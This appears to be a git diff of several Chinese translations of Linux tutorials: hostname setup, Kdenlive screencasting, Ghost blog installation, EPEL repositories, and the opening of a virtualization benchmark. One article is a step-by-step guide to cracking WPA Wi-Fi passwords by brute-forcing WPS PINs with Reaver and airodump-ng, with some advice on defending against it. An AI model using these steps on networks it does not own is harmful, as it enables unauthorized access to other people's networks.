hostname是为每一个linux发行版的预安装命令。通过在控制台输入hostname可以显示你的机器的hostname。这里有一个有个简单的命令及其输出。
$ hostname
ubuntu
上面的命令将会告诉你,计算机的名字是**ubuntu** 。
### 如何设置hostname ###
Hostname是在你第一次安装Linux的时候设置。其中有一个步骤Linux会让你输入主机名称的信息。不过如果你愿意的话你在之后设置也可以。
设置你的hostname你可以使用下面的命令
# hostname dev-machine
$ hostname
dev-machine
你**需要使用root权限**或者等同root的权限来设置/修改你计算机的主机名。“#”标识证明你是root用户。上述命令把你的计算机主机名设置成为**dev-machine**。如果你没有收到任何报错信息那么你的hostname已经改变了。再一次使用hostname命令检查看看结果。
使用hostname命令设置你的hostname **不是永久的** 。当你重启你的计算机,你的设定将会失效。 **为了永久改变** 你必须手动修改hostname配置文件。
**Debian / Ubuntu系的Linux**
你可以在 **/etc/hostname** 和 **/etc/hosts** 文件夹中找到这个文件
下面是每一个文件的内容
**/etc/hostname**
# vi /etc/hostname
dev-machine
**/etc/hosts**
# vi /etc/hosts
127.0.0.1 localhost
127.0.0.1 dev-machine
你将会发现不用重启你的linux它就即刻生效。
**RedHat / CentOS系的Linux**
你可以在 **/etc/hosts** 和 **/etc/sysconfig/networks** 文件夹中找到这个文件。
下面是每一个文件的内容
**/etc/hosts**
127.0.0.1 localhost.localdomain localhost dev-machine
::localhost 127.0.0.1
**/etc/sysconfig/network**
NETWORKING=yes
NETWORKING_IPV6=no
HOSTNAME=dev-machine
### 怎么显示DNS域名 ###
来自上面的hostname的定义hostname也可以显示你的Linux的DNS名字。如果你的hostname命令会显示你的hostname那么dnsdomainname命令也就会显示你的域名。来看看这个简单的例子。
$ dnsdomainname
bris.co.id
在本篇文章dnsdomainname命令的结果是 **bris.co.id**
如果你看见结果是 (**none**),那么你的机器**没有配置FQDNFully Qualified Domain Name 完全符合标准的域名)** 。dnsdomainname命令摘取来自**/etc/hosts**文件的信息。你应该配置它为FQDN格式。下面是一个简单的例子
**/etc/hosts**
127.0.0.1 localhost.localdomain localhost dev-machine
::localhost 127.0.0.1
192.168.0.104 dev-machine.bris.co.id dev-machine
为了显示更多的细节,你可以使用参数**-v**
$ dnsdomainname -v
gethostname()=dev-machine.bris.co.id
Resolving dev-machine.bris.co.id
Result: h_name=dev-machine.bris.co.id
Result: h_aliases=dev-machine
Result: h_addr_list=192.168.0.104
### 如何显示hostname的更多细节信息###
Hostname命令可以使用多个参数和一些别名比如dnsdomainname命令就是它的一个别名。这些参数在每日操作中是有用的。下面这些命令的结果是基于**/etc/hosts**的上述配置。
**显示IP地址**
$ hostname -i
192.168.0.104
**显示域名**
$ hostname -d
bris.co.id
**显示短主机名**
$ hostname -s
dev-machine
*这个命令将会产生与只输入hostname同样的结果*
**显示FQDN格式**
$ hostname -f
dev-machine.bris.co.id
**显示细节信息**
所有的参数包括上述信息,都可以通过使用参数**-v** 和 **-d** 来概括。让我们来看一个例子。
$ hostname -v -d
gethostname()=dev-machine.bris.co.id
Resolving dev-machine.bris.co.id
Result: h_name=dev-machine.bris.co.id
Result: h_aliases=dev-machine
Result: h_addr_list=192.168.0.104
bris.co.id
觉得熟悉吗?没错,运行结果与上面提到的 **dnsdomainname -v** 命令式相同的。
--------------------------------------------------------------------------------
via: http://linoxide.com/linux-command/display-set-hostname-linux/
译者:[Vic___](http://blog.csdn.net/Vic___) 校对:[Caroline](https://github.com/carolinewuyan)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,154 @@
如何使用Reaver破解Wi-Fi网络的WPA密码
================================================================================
![](http://img.gawkerassets.com/img/17pw3mgej3x93jpg/ku-xlarge.jpg)
Wi-Fi网络能够让我们便利地访问因特网但同时我们又不希望隔壁抠门猥琐男总是蹭我们的网所以自然要给WiFi加个密码对吧于是好消息是也许你已经看过我的另一篇文章“[如何轻易破解WEP密码][1]”所以你使用了更稳固的WPA安全协议。
但坏消息是,现在有一款自由开源新工具——[Reaver][2]已经挖掘出了无线路由器的一个漏洞由此能够破解绝大多数路由器上的密码。今天我就来一步步介绍如何使用Reaver破解WPA/WPA2密码。最后我会给出相应的防范对策。
文章的第一部分是使用Reaver破解WPA的详细步骤读者可以看视频也可以跟着下面的文字一起做。然后我会解释Reaver的工作原理。最后介绍如何防范Reaver攻击。
[http://www.youtube.com/embed/z1c1OIMbmb0?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1][3]
在正式开始之前,我还是要不厌其烦强调一下:知识就是力量,但是拥有力量不代表着可以为所欲为、触犯法律。同样,骑白马的不一定是王子,会开锁的也不一定是小偷。本文只是关于某些技术的实验与验证,只适用于学习。你知道的越多,就能够越好的保护自己。
###准备工作###
首先无需成为一名网络专家学会使用复杂的命令行工具你只需要准备一张空白DVD、一台能连接WiFi的电脑并腾出几个小时时间这就是我们基本需要的东西。要安装Reaver可以有很多方法但是这里我们建议你按照下面的指南来做
![](http://img.gawkerassets.com/img/194pra0777vwyjpg/ku-xlarge.jpg)
- [**The BackTrack 5 Live DVD**][4]。BackTrack是一款支持自启动的Linux发行版上面集成了大量的网络测试工具。虽然这对于安装、配置Reaver并不是必需的一个条件但是对于大多数用户却是最简单一个方法。从[BackTrack的下载页面传送门][5]下载Live DVD然后刻盘。这里你也可以下载镜像然后使用VMware安装如果你不知道VMware是啥那就还是刻盘吧。如图所示下载的时候下拉菜单选择BackTrack 5 R3版本、Gnome环境、根据你的CPU选择32或64位系统如果这里不确定是32还是64为了保险起见请选择32位下载类型选择ISO然后就可以点击下载了。
- **配有DVD光驱、支持WiFi的电脑**。BackTrack支持大多数的笔记本无线网卡这一点对于大多数读者应该没什么问题。同时你的电脑需要有一个DVD光驱这样才能从BackTrack光盘启动。我的测试环境是一台用了6年的MacBook Pro。
- **附近要有采用WPA加密的WiFi网络**。没WiFi网你破解谁去 =。= ……一会我会在“Reaver的工作原理部分”介绍WiFi防护设置是如何产生安全漏洞、WPA破解是如何成为可能的。
- **最后,你还需要一点点的耐心**。这是整个实验的最后一步使用Reaver破解WPA密码并不难它采用的是暴力破解因此你的电脑将会测试大量不同的密码组合来尝试破解路由器直到最终找到正确的密码。我测试的时候Reaver花了大概两个半小时破解了我的WiFi密码。[Reaver的主页][6]上介绍一般这个时间在4到10个小时之间视具体情况而定。
###让我们开始吧###
此时你应该已经把BackTrack的DVD光盘刻录好了笔记本也应该已经准备就绪。
####第1步启动BackTrack####
要启动BackTrack只需将DVD放入光驱电脑从光盘启动。如果不知道如何使用live CD或DVD启动请自行Google。启动过程中BackTrack会让你选择启动模式选择默认的“BackTrack Text - Default Boot Text Mode”然后回车。
最终BackTrack会来到一个命令行界面键入`startx`回车BackTrack就会进入它的图形界面。
####第2步安装Reaver####
文章更新Reaver在R3版中已经预装如果你安装的是BT5的R3版这一步骤可以忽略直接跳到第3步。
Reaver已经加入了BackTrack的最新版软件包只是还没有集成到live DVD里所以在本文最初撰写的时候你还需要手动安装Reaver。要安装Reaver首先设置电脑联网。
1.点击Applications > Internet > Wicd Network Manager
2.选择你的网络并点击Connect如果需要的话键入密码点击OK然后再次点击Connect。
连上网以后安装Reaver。点击菜单栏里的终端按钮或者依次点击 Applications > Accessories > Terminal。在终端界面键入以下命令
apt-get update
更新完成之后,键入:
apt-get install reaver
如果一切顺利Reaver现在应该已经安装好了。如果你刚才的下载安装操作使用的是WiFi上网那么在继续下面的操作之前请先断开网络连接并假装不知道WiFi密码 =。= 接下来我们要准备破解它~
####第3步搜集设备信息准备破解####
在使用Reaver之前你需要获取你无线网卡的接口名称、路由的BSSIDBSSID是一个由字母和数字组成的序列用于作为路由器的唯一标识、以及确保你的无线网卡处于监控模式。具体参见以下步骤。
**找到无线网卡:**在终端里,键入:
iwconfig
回车。此时你应该看到无线设备的相关信息。一般,名字叫做`wlan0`,但如果你的机子不止一个无线网卡,或者使用的是不常见的网络设备,名字可能会有所不同。
![](http://img.gawkerassets.com/img/194prsh4oyo2mjpg/ku-xlarge.jpg)
**将无线网卡设置为监控模式**:假设你的无线网卡接口名称为`wlan0`,执行下列命令,将无线网卡设置为监控模式:
airmon-ng start wlan0
这一命令将会输出监控模式接口的名称,如下图中箭头所示,一般情况下,都叫做`mon0`。
![](http://img.gawkerassets.com/img/194prrjkz8yorjpg/ku-xlarge.jpg)
**找到你打算破解的路由器的BSSID**最后你需要获取路由器的唯一标识以便Reaver指向要破解的目标。执行以下命令
airodump-ng wlan0
(注意:如果`airodump-ng wlan0`命令执行失败,可以尝试对监控接口执行,例如`airodump-ng mon0`
此时,你将看到屏幕上列出周围一定范围内的无线网络,如下图所示:
![](http://img.gawkerassets.com/img/194prtyebc284jpg/ku-xlarge.jpg)
当看到你想要破解的网络时按下Ctrl+C停止列表刷新然后复制该网络的BSSID图中左侧字母、数字和分号组成的序列。从ENC这一列可以看出该网络是WPA或WPA2协议。如果为WEP协议可以参考我的[前一篇文章——WEP密码破解指南][7]
现在手里有了BSSID和监控接口的名称万事俱备只欠破解了。
####第4步使用Reaver破解无线网络的WPA密码####
在终端中执行下列命令用你实际获取到的BSSID替换命令中的 `bssid`
reaver -i moninterface -b bssid -vv
例如,如果你和我一样,监控接口都叫做 `mon0`并且你要破解的路由器BSSID是`8D:AE:9D:65:1F:B2`,那么命令应该是下面这个样子:
reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv
最后回车接下来就是喝喝茶、发发呆等待Reaver魔法的发生。Reaver将会通过暴力破解尝试一系列PIN码这将会持续一段时间在我的测试中Reaver花了2个半小时破解网络得出正确密码。正如前文中提到过的Reaver的文档号称这个时间一般在4到10个小时之间因此根据实际情况不同这个时间也会有所变化。当Reaver的破解完成时它看起来是下图中这个样子
![](http://img.gawkerassets.com/img/18qpo7omnvkbejpg/ku-medium.jpg)
**一些要强调的事实**Reaver在我的测试中工作良好但是并非所有的路由器都能顺利破解后文会具体介绍。并且你要破解的路由器需要有一个相对较强的信号否则Reaver很难正常工作可能会出现其他一些意想不到的问题。整个过程中Reaver可能有时会出现超时、PIN码死循环等问题。一般我都不管它们只是保持电脑尽量靠近路由器Reaver最终会自行处理这些问题。
除此以外你可以在Reaver运行的任意时候按下Ctrl+C中断工作。这样会退出程序但是Reaver下次启动的时候会自动恢复继续之前的工作前提是只要你没有关闭或重启电脑如果你直接在live DVD里运行关闭之前的工作都会丢失
###Reaver的工作原理###
你已经学会了使用Reaver现在让我们简单了解一下Reaver的工作原理。它利用了WiFi保护设置WiFi Protected Setup - 下文中简称为WPS的一个弱点WPS是许多路由器上都有的一个功能可以为用户提供简单的配置过程它与设备中硬编码保存的一个PIN码绑定在一起。Reaver利用的就是PIN码的一个缺陷最终的结果就是只要有足够的时间它就能破解WPA或WPA2的密码。
关于这个缺陷的具体细节,参看[Sean Gallagher's excellent post on Ars Technica][8]。
###如何防范Reaver攻击###
该缺陷存在于WPS的实现过程中因此如果能够关闭WPSWiFi就是安全的或者更好的情况是你的路由器天生就木有这一功能。但不幸的是正如Gallagher[在Ars的文章中所指出的][9]即使在路由器设置中人为关掉了WPSReaver仍然能够破解其密码。
> 在一次电话通话中Craig Heffner说道很多路由器即使关闭WPS都无法有效防范攻击。他和同事一起测试过所有的Linksys和Cisco Valet无线路由器都是如此。“在所有的Linksys路由器上你甚至无法手动关闭WPS”他说尽管Web界面中有关闭WPS配置的按钮但是“它仍然会自动打开极易受到攻击”。
因此方法一失败。也许你可以亲自尝试把你的路由器WPS关闭然后测试一下Reaver是否还能成功破解。
你也可以在路由器中设置一下MAC地址过滤只允许指定的白名单设备连接你的网络但是有经验的黑客还是能够检测出设备的白名单MAC地址并使用MAC地址仿冒你的计算机。
方法二:失败!那到底该怎么办?
我的建议是,我曾经在我的路由器上安装了开源路由固件[DD-WRT][10]成功防御了Reaver攻击。因为[DD-WRT天生就是不支持WPS的][11]因此这成为了又一个我热爱自由软件的原因。如果你也对DD-WRT感兴趣可以看一下这里的[设备支持列表][12]看是否支持你的路由器设备。除了安全上的升级DD-WRT还可以[监控网络行为][13][设置网络驱动器][14][拦截广告][15][增强WiFi信号范围][16]等,它完全可以[让你60美刀的路由器发挥出600美刀路由器的水平][17]
--------------------------------------------------------------------------------
via: http://lifehacker.com/5873407/how-to-crack-a-wi+fi-networks-wpa-password-with-reaver
译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack
[2]:http://code.google.com/p/reaver-wps/
[3]:http://www.youtube.com/embed/z1c1OIMbmb0?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1
[4]:http://www.backtrack-linux.org/downloads/
[5]:http://www.backtrack-linux.org/downloads/
[6]:http://code.google.com/p/reaver-wps/
[7]:http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack
[8]:http://arstechnica.com/business/news/2011/12/researchers-publish-open-source-tool-for-hacking-wifi-protected-setup.ars
[9]:http://arstechnica.com/business/news/2012/01/hands-on-hacking-wifi-protected-setup-with-reaver.ars
[10]:http://dd-wrt.com/
[11]:http://code.google.com/p/reaver-wps/issues/detail?id=44
[12]:http://dd-wrt.com/wiki/index.php/Supported_Devices
[13]:http://lifehacker.com/5821773/how-to-monitor-your-internet-usage-so-you-dont-exceed-your-data-cap
[14]:http://lifehacker.com/5756233/get-more-out-of-your-dd+wrt-router-with-an-external-drive?tag=ddwrt
[15]:http://lifehacker.com/5680670/turn-your-dd+wrt-enabled-router-into-a-whole-house-ad-blocker?tag=ddwrt
[16]:http://lifehacker.com/5563196/turn-your-old-router-into-a-range+boosting-wi+fi-repeater?tag=ddwrt
[17]:http://lifehacker.com/178132/hack-attack-turn-your-60-router-into-a-600-router

View File

@ -0,0 +1,98 @@
如何在Linux上制作一个屏幕录像视频教程
================================================================================
一图胜千言一个精心设计的指导视频更是能给你带来良好体验。Linux上有你需要的制作有用且高质量教学视频的所有工具。我们将用强大的kdenlive视频编辑器和Audacity音频录制器和编辑器制作一个简单的屏幕录像并学习如何在YouTube上分享精彩的屏幕录像。
一台安装了Kdenlive和Audacit软件的Linux系统PC一个质量好的麦克风或耳机和一个YouTube的帐号就是你需要准备的全部。是的除了Youtube还有很多其他的免费视频共享服务你也可以使用它们。YouTube属于GoogleGoogle想让你与全世界共享任何人和事。如果这不是你想做的请说no。
我们的工作流程是这样的:
- 用Kdenlive录制屏幕录像
- 用Audacity录制音轨
- 添加音轨到Kdenlive
- 上传到YouTube
- 全世界看你的视频,好开心
kdenlive支持最流行的数字视频格式包括AVIMP4H.264和MOV。它支持的图像文件包括GIFPNGSVG和TIFF支持的音频文件格式包括非压缩的PCMVorbisWAVMP3和 AC3。你甚至可以阅读和编辑Flash文件。总之它可以处理很多东西。
你的配音与你的视频一样重要。请一定要重视你的音频。使音频保持干净和简单,去除杂乱的题外话、方言,并将背景噪声降到最低点。我喜欢用一个质量好的耳麦做讲述,这样你不必担心话筒位置,你可以反复听你自己的讲述而不会影响到你身边的人。
Kdenlive的文档已过期它会告诉你制作屏幕录像需要RecordMyDesktop软件。我用的是kdenlive 0.9.4其实不需要Recordmydesktop。
![](http://www.linux.com/images/stories/41373/fig-1-settings.png)
*图 1默认配置*
### 制作屏幕录像 ###
首次安装kdenlive,第一次运行时会启动配置向导。不必在意默认设置,因为你随时都可以改变它们。
这是我的屏幕录像的设置高清720p每秒30帧1280x720的屏幕尺寸。如何知道该使用什么设置项 [Google上有一些说明][1]。设置这些值可到Settings > Configure Kdenlive > Project Defaults > Default Profile > HD 720p 30fps图1
设置捕捉屏幕的大小到 Settings > Configure Kdenlive > Capture > Screen Grab图2。虽然你也可以选择捕捉全屏幕但最好还是坚持用YouTube规定的尺寸。因为如果使用的尺寸与YouTube规定的不一样则YouTube将增加黑边来达到合适的尺寸。热切的观众会更加希望看到一个充满生动的内容的屏幕而不是黑边。
![](http://www.linux.com/images/stories/41373/fig-2-settings.png)
*图 2屏幕录像的屏幕大小*
默认的YouTube视频播放器的大小是640x360标清320p又小又模糊。播放器有小屏大屏全屏和多个质量等级的控制。这些设置只有你的观众会使用640x360标清320p看起来真的不咋样但郁闷的是你无法改变这个缺陷。尽管如此你仍然想制作高质量视频的话你可以添加一些文字来提醒观众尝试更好的配置。
### 保存你的项目 ###
在你做任何其他事情之前,点击 File->Save as 保存您的项目,并记住周期性地保存它。
### 抓取屏幕 ###
抓屏小菜一碟。到Record Monitor选择Screen Grab然后点击Record按钮。屏幕上将打开一个带虚线的框框里面的所有内容都将被录制下来。因此你需要做的所有事就是移动框并调整框的大小到你想要l录制的范围。完成后点击停止按钮图3
![](http://www.linux.com/images/stories/41373/fig-3-screen-grab.png)
*图 3屏幕抓取*
单击Stop自动打开Clip Monitor你可以预览你的裁剪效果。如果你觉得不错把它从Project Tree中拖到Video 1轨道。现在你可以编辑你的视频了。总会有需要你修剪的地方一个快速的方法是你在Project Monitor里播放你的剪辑片直到播放到你需要移除部分的末尾。然后暂停然后按下Shift+r。你的剪辑片将会在你按下停止的时间轴上的点上被切割为两个剪辑。点击你要删除的片断按下Delete键它就消失了。
对于剩下的剪辑片断可能你想要从时间轴上的某一点开始播放也可能你想要加入一些好的变换。比如一些简单的渐变就相当不错右键点击你的剪辑片断点击Add Effect > Fade > Fade from black 和 Fade to black然后Kdenlive将自动将这两个效果放到开头和末尾。
### 添加配音 ###
请参阅[Whirlwind Intro to Audacity on Linux: From Recording to CD in One Lesson][2]来学习使用Audacity录音的基础操作。以16bit的wav格式导出你的音频文件然后通过Project > Add Clip导入到Kdenlive。然后将你的新音频剪辑拖到Audio tracks。一个简单的制作视频讲述的方式是边播视频边说。运气好的话你不需要做很多的清理工作你的讲述就会与视频同步。
![](http://www.linux.com/images/stories/41373/fig-4-audio-gap.png)
*图 4用Shift+r切割音轨然后将其中一个剪辑片从切割点拖离创建一个静音间隙*
如果你的语速比视频快,你可以在音轨中添加空档时间.很简单,用Shift+r切割音轨然后将其中一个剪辑片从切割点拖离创建一个静音间隙。图4
### Rendering Your Project ### 渲染你的项目
当你满意自己的编辑并准备导出你的最终格式时点击Render按钮。这需要几分钟的时间取决于你的电脑速度和项目大小。已有为网站预先设定的值如果你选择File Rendering 你可以调整你的设置图5。我用File Rendering中的H.264Video比特率12000 Audio比特率384取得了不错的效果。H.264是一种超压缩格式,使用这种格式发布的文件小但质量好。
![](http://www.linux.com/images/stories/41373/fig-5-rendering.png)
*图 5选择文件渲染调整你的网页设置*
### 发布到YouTube ###
现在你可以在VLC或MPlayer或你喜欢的任何播放器中播放你的视频了如果它看起来很好那么你就可以将它上传到你的YouTube帐户里了。YouTube是典型的Google风格信息中心和视频管理器会混乱又复杂不过请坚持多研究下你会理出头绪的。在你做任何事情之前你必须对你的账户做资格认证也就是通过短信和邮件获得一个验证码。通过输入验证码证明你不是一个网络爬虫后你就能上传你的视频了。
你可以上传你的视频然后标记它们为私人可见或所有人可见。Google有一些编辑工具你可能会喜欢比如自动纠错和配背景音乐。不过以我的拙见几乎没有人是这样子做背景音乐的所以这种工具只会令人讨厌。不过你有可能是第一个正确使用这个工具的人哦。
最有用的编辑工具是自动字幕。我推荐在你所有的视频上使用此功能,不光是为了那些听觉障碍的人,也为了那些需要保持低音量观看的人,确保所有的人都明白你在说什么。字幕工具也能创建副本。
另一个有用的工具是注释工具它支持对话气泡标题聚光灯和标签。当然在Kdenlive中这些你都可以做到所以都可以尝试一下。
好吧到这里就结束了但似乎我们刚刚开始。请分享你的视频并在评论中添加Youtube的小建议和技巧。如果可以的话请在[video.linux.com][3]分享你的新的视频教程并参加100个Linux教程比赛。
--------------------------------------------------------------------------------
来源于: http://www.linux.com/learn/tutorials/745745-how-to-make-a-youtube-instructional-screencast-video-on-linux/
译者:[coolpigs](https://github.com/coolpigs) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:https://support.google.com/youtube/answer/1722171?hl=en&ref_topic=2888648
[2]:http://www.linux.com/learn/tutorials/422799-whirlwind-intro-to-audacity-on-linux
[3]:http://video.linux.com/100-linux-tutorials

View File

@ -1,12 +1,12 @@
如何在Linux平台上安装Ghost博客平g
如何在Linux平台上安装Ghost博客平
===
[Ghost][1]是一个相对新的博客发布平台它开始与在众筹平台kickstarter上的一个[£25,000的众筹项目][2]。尽管WordPress依然是网上主流的博客工具但它现在已然是一个拥有众多第三方开发功能的通用内容管理平台,发展到现在已经逐渐变得笨重、复杂以至于难以维护。但于此同时仅仅诞生才几个月的Ghost承诺要做一个纯粹的博客平台打造一个以用户为中心的精雕细琢的用户界面
[Ghost][1]是一个相对较新的博客发布平台它开始于众筹平台kickstarter上一个[£25,000英镑的众筹项目][2]。尽管WordPress依然是网上主流的博客工具但它现在已然是一个拥有众多第三方开发功能的通用内容管理平台发展到现在已经逐渐变得笨重、复杂以至于难以维护。但与此同时仅仅诞生才几个月的Ghost坚持以用户为中心打造精雕细琢的用户界面承诺要做一个纯粹的博客平台
在本手册中,我将描述**如何在Linux平台设置Ghost博客平台**。
在本教程中,我将描述**如何在Linux中设置Ghost博客平台**。
###在Linux上安装Ghost
Ghost是使用Node.js框架编写的。因此首先你需要在你的Linux系统上[安装Node.js框架][3]。确保Node.js的版本为0.10或者更高。接下来,登录入[http://ghost.org][1](需要注册)然后下载Ghost的源代码。记按照下面的步骤安装:
Ghost是使用Node.js框架编写的。因此首先你需要在你的Linux系统上[安装Node.js框架][3]。确保Node.js的版本为0.10或者更高。接下来,登录入[http://ghost.org][1](需要注册)然后下载Ghost的源代码。记按照下面的步骤安装:
$ sudo mkdir -p /var/www/ghost
$ sudo unzip ghost-0.3.3.zip -d /var/www/ghost
@ -14,7 +14,7 @@ Ghost是使用Node.js框架编写的。因此首先你需要在你的Linux系
$ sudo npm install --production
###启动前先配置Ghost
在你启动Ghost之前按照下面的步骤在/var/www/ghost/config.js位置创建它的配置文件。使用你的主机IP地址替换掉“YOUR_IP”。
在你启动Ghost之前按照下面的步骤在/var/www/ghost/config.js位置创建它的配置文件。使用你的主机IP地址替换掉“YOUR_IP”。
$ cd /var/www/ghost
$ sudo cp config.example.js config.js
@ -24,18 +24,18 @@ Ghost是使用Node.js框架编写的。因此首先你需要在你的Linux系
搞到这一步你就可以准备去启动Ghost咯。
要注意的是Ghost可以以两种不同的模式运行“开发者模式”和“用户模式”。为了安全起见Ghost将两种模式的配置文件/var/www/ghost/content/data)分开存放。例如,两种不同的模式使用不同的数据库文件(例如位于/var/www/content/data的ghostdev.db和ghost.db
要注意的是Ghost可以以两种不同的模式运行“开发者模式”和“用户模式”。为了安全起见Ghost将两种模式的配置文件/var/www/ghost/config.js)分开存放。例如,两种不同的模式使用不同的数据库文件(例如位于/var/www/content/data的ghostdev.db和ghost.db
使用下命令就可以启动Ghost。Ghost默认以开发者模式运行。
使用下命令就可以启动Ghost。Ghost默认以开发者模式运行。
$ cd /var/www/ghost
$ sudo npm start
Ghost成功运行后终端中会有以下输出信息告诉你Ghost正运行在<YOUR_IP>:2368译者注端口号
Ghost成功运行后终端中会有以下输出信息告诉你Ghost正运行在<YOUR_IP>:2368译者注2368为端口号)。
[![](http://farm8.staticflickr.com/7317/10881189204_d714f11321_z.jpg)][4]
在你的浏览器中键入 http://<YOUR_IP>:2368身份校验后你就会看到Ghost的初始页面。
在你本机的浏览器中键入 http://<YOUR_IP>:2368身份校验后你就会看到Ghost的初始页面。
[![](http://farm4.staticflickr.com/3750/10881348733_f77d220de6_z.jpg)][5]
@ -58,9 +58,11 @@ Ghost成功运行后终端中会有以下输出信息告诉你Ghost正运
$ sudo forever list
> info: Forever processes running
> data: uid command script forever pid logfile uptime
> data: [0] cH0O /usr/bin/nodejs index.js 15355 15357 /home/dev/.forever/cH0O.log 0:0:0:37.741
-
info: Forever processes running
data: uid command script forever pid logfile uptime
data: [0] cH0O /usr/bin/nodejs index.js 15355 15357 /home/dev/.forever/cH0O.log 0:0:0:37.741
假如你看到以上信息意味着Ghost已经成功以后台进程运行咯。
@ -73,7 +75,7 @@ Ghost成功运行后终端中会有以下输出信息告诉你Ghost正运
via: http://xmodulo.com/2013/11/install-ghost-blogging-platform-linux.html
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[校对者ID](https://github.com/校对者ID)
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,100 @@
如何在CentOS 5/6上安装EPEL 源
================================================================================
EPEL 是什么?
EPEL (Extra Packages for Enterprise Linux企业版Linux的额外软件包) 是Fedora小组维护的一个软件仓库项目为RHEL/CentOS提供他们默认不提供的软件包。这个源兼容RHEL及像CentOS和Scientific Linux这样的衍生版本。
我们可以很容易地通过yum命令从EPEL源上获取上万个在CentOS自带源上没有的软件。EPEL提供的软件包大多基于其对应的Fedora软件包不会与企业版Linux发行版本的软件发生冲突或替换其文件。
更多关于EPEL 项目的细节可以到以下网站获取:[https://fedoraproject.org/wiki/EPEL][1]
在文本中我将展示在CentOS下如何安装EPEL源
> 提示 - RHEL/CentOS系统有许多第三方源比较流行的比如RpmForgeRpmFusionEPELRemi等等。
>
> 然而需要引起注意的是如果系统添加了多个第三方源可能会因此产生冲突——一个软件包可以从多个源获取一些源会替换系统的基础软件包从而可能会产生意想不到的错误。已知的就有Rpmforge与EPEL会产生冲突。
>
> 对于这些问题我们建议,调整源的优先权或者有选择性的安装源,但是这需要复杂的操作,如果你不确定如何操作,我们推荐你只安装一个第三方源。
## 在CentOS 上安装EPEL ##
要想安装EPEL我们先要下载EPEL的rpm安装包。
CentOS/RHEL下的6.x和5.x版本下载页面如下
[http://download.fedoraproject.org/pub/epel/6/i386/repoview/epel-release.html][2]
[http://download.fedoraproject.org/pub/epel/5/i386/repoview/epel-release.html][3]
以上网址可能会被重定向到特定的镜像站而加快下载速度。这个页面包含可以直接获取到rpm包的下载链接。直接的下载链接如下
[http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm][4]
[http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm][5]
根据你的CentOS 版本来选择正确的下载地址。
请注意EPEL 的安装包是独立编译的所以它可以安装在32位和64位系统中。
### 1. 确认你的CentOS 的版本 ###
首先通过以下命令确认你的CentOS 版本
$ cat /etc/redhat-release
CentOS release 6.4 (Final)
### 2. 下载EPEL 的rpm 安装包 ###
现在从上面的地址下载CentOS 版本所对应的EPEL 的版本
$ wget http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm
### 3. 安装EPEL ###
通过以下命令安装EPEL 软件包
$ sudo rpm -ivh epel-release-6-8.noarch.rpm
$ sudo rpm -ivh epel-release*
### 5. 检查EPEL 源 ###
安装好EPEL 源后用yum 命令来检查是否添加到源列表
# yum repolist
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
* base: mirrors.vonline.vn
* epel: buaya.klas.or.id
* extras: centos-hn.viettelidc.com.vn
* updates: mirrors.fibo.vn
repo id repo name status
base CentOS-6 - Base 6,381
epel Extra Packages for Enterprise Linux 6 - x86_64 10,023
extras CentOS-6 - Extras 13
nginx nginx repo 47
updates CentOS-6 - Updates 1,555
repolist: 18,019
EPEL已经在repo 后列出并且显示提供了上万个软件包所以EPEL 已经安装到你的CentOS了。
EPEL源的配置安装到了 **/etc/yum.repos.d/epel.repo** 文件。
现在来试一下从EPEL 获取软件包
$ sudo yum install htop
--------------------------------------------------------------------------------
via: http://www.binarytides.com/setup-epel-repository-centos/
译者:[NearTan](https://github.com/NearTan) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:https://fedoraproject.org/wiki/EPEL
[2]:http://download.fedoraproject.org/pub/epel/6/i386/repoview/epel-release.html
[3]:http://download.fedoraproject.org/pub/epel/5/i386/repoview/epel-release.html
[4]:http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm
[5]:http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm

View File

@ -0,0 +1,76 @@
KVMXen与VirtualBox在Intel Haswell上的Linux虚拟化性能比较
==============================================================
现在我们做的是[Intel Haswell][1]的虚拟化基准测试。我们在Intel酷睿i7 4770K的“Haswell”处理器上使用搭载了最新软件组件的Fedora 19来进行KVMXen和VirtualBox的基准测试。
自从上个月推出Haswell以来我们已经发布了许多和这款全新的英特尔处理器相关的基准测试但我们直到这篇文章发布前一直没有涵盖虚拟化方面的性能测试。这里启用了英特尔硬件虚拟化后将在一个纯净的Fedora 19 的64位操作系统上分别安装KVMXen和Virtualbox并进行比较。
目前Fedora 19拥有搭载GCC 4.8.1的Linux 3.9.8版本内核Mesa 9.2.0开发库和一个EXT4文件系统。所有的虚拟化组件都从Fedora 19的仓库中获取的包括QEMU 1.4.2Xen 4.2.2和libvirt/virt-manager组件。Xen和KVM的虚拟化通过virt-manager来建立。VirtualBox 4.2.16则是通过VirtualBox.org获取并安装在Fedora 19中。
![](http://www.phoronix.net/image.php?id=intel_haswell_virtualization&image=intel_haswell_virtualization_med)
这个英特尔酷睿i7 4770K机器拥有16GB的内存和240GB的OCZ Vertex 3 固态硬盘。在测试中每一个虚拟机能够使用全部八个逻辑核心四个物理核心加上超线程、16GB内存中的12GB以及16GB的虚拟磁盘。
